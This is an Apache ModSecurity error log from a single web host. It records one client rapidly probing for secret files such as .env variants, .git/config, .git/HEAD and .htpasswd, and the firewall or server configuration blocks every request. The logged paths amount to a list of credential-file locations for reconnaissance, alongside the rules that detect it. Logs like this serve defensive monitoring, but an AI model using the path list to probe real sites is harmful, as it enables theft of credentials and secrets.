[Sun Oct 25 14:01:40.652048 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at5EBBfmy5DaFfyE01WrCAAAABE"]
[Sun Oct 25 14:01:40.652192 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at5EBBfmy5DaFfyE01WrCAAAABE"]
[Sun Oct 25 14:01:40.652494 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at5EBBfmy5DaFfyE01WrCAAAABE"]
[Sun Oct 25 14:01:40.653519 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5EBPwFw76qlSfceadvXgAAAAA"]
[Sun Oct 25 14:01:40.653663 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5EBPwFw76qlSfceadvXgAAAAA"]
[Sun Oct 25 14:01:40.653897 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5EBPwFw76qlSfceadvXgAAAAA"]
[Sun Oct 25 14:01:40.654884 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at5EBCjnAS4eJh-ada2NAQAAAA0"]
[Sun Oct 25 14:01:40.655021 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at5EBCjnAS4eJh-ada2NAQAAAA0"]
[Sun Oct 25 14:01:40.655253 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at5EBCjnAS4eJh-ada2NAQAAAA0"]
[Sun Oct 25 14:01:40.656406 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5EBIIGIq5euXyTbvT1GwAAACQ"]
[Sun Oct 25 14:01:40.656567 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5EBIIGIq5euXyTbvT1GwAAACQ"]
[Sun Oct 25 14:01:40.656744 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5EBO6EytsuoC67cD91bwAAAAE"]
[Sun Oct 25 14:01:40.656818 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5EBIIGIq5euXyTbvT1GwAAACQ"]
[Sun Oct 25 14:01:40.656896 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5EBO6EytsuoC67cD91bwAAAAE"]
[Sun Oct 25 14:01:40.657112 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5EBO6EytsuoC67cD91bwAAAAE"]
[Sun Oct 25 14:01:40.672062 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5EBBOIqc1eRNCRH2co6gAAAAc"]
[Sun Oct 25 14:01:40.672259 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5EBP1CbQghwAu-zzMCJwAAACA"]
[Sun Oct 25 14:01:40.672265 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5EBBOIqc1eRNCRH2co6gAAAAc"]
[Sun Oct 25 14:01:40.672417 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5EBP1CbQghwAu-zzMCJwAAACA"]
[Sun Oct 25 14:01:40.672580 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5EBBOIqc1eRNCRH2co6gAAAAc"]
[Sun Oct 25 14:01:40.672671 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5EBP1CbQghwAu-zzMCJwAAACA"]
[Sun Oct 25 14:01:40.673562 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5EBLc82c1J4zoyxalWhQAAAAI"]
[Sun Oct 25 14:01:40.673701 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5EBLc82c1J4zoyxalWhQAAAAI"]
[Sun Oct 25 14:01:40.673932 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5EBLc82c1J4zoyxalWhQAAAAI"]
[Sun Oct 25 14:01:40.676105 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5EBA99Fkrvw6SgmfSwxAAAAAM"]
[Sun Oct 25 14:01:40.676252 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5EBA99Fkrvw6SgmfSwxAAAAAM"]
[Sun Oct 25 14:01:40.676472 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5EBA99Fkrvw6SgmfSwxAAAAAM"]
[Sun Oct 25 14:01:40.684869 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5EBO6EytsuoC67cD91cAAAAAE"]
[Sun Oct 25 14:01:40.685024 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5EBO6EytsuoC67cD91cAAAAAE"]
[Sun Oct 25 14:01:40.685239 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5EBO6EytsuoC67cD91cAAAAAE"]
[Sun Oct 25 14:01:40.689931 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5EBIIGIq5euXyTbvT1HAAAACQ"]
[Sun Oct 25 14:01:40.690072 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5EBIIGIq5euXyTbvT1HAAAACQ"]
[Sun Oct 25 14:01:40.690305 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5EBIIGIq5euXyTbvT1HAAAACQ"]
[Sun Oct 25 14:01:40.735275 2026] [authz_core:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:01:40.737127 2026] [authz_core:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/.htpasswd
[Sun Oct 25 14:01:40.779681 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5EBKYYcNPV1bnoekNX2QAAAAQ"]
[Sun Oct 25 14:01:40.779833 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5EBKYYcNPV1bnoekNX2QAAAAQ"]
[Sun Oct 25 14:01:40.780114 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5EBKYYcNPV1bnoekNX2QAAAAQ"]
[Sun Oct 25 14:01:40.780995 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5EBCjnAS4eJh-ada2NBgAAAA0"]
[Sun Oct 25 14:01:40.781140 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5EBCjnAS4eJh-ada2NBgAAAA0"]
[Sun Oct 25 14:01:40.781382 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5EBCjnAS4eJh-ada2NBgAAAA0"]
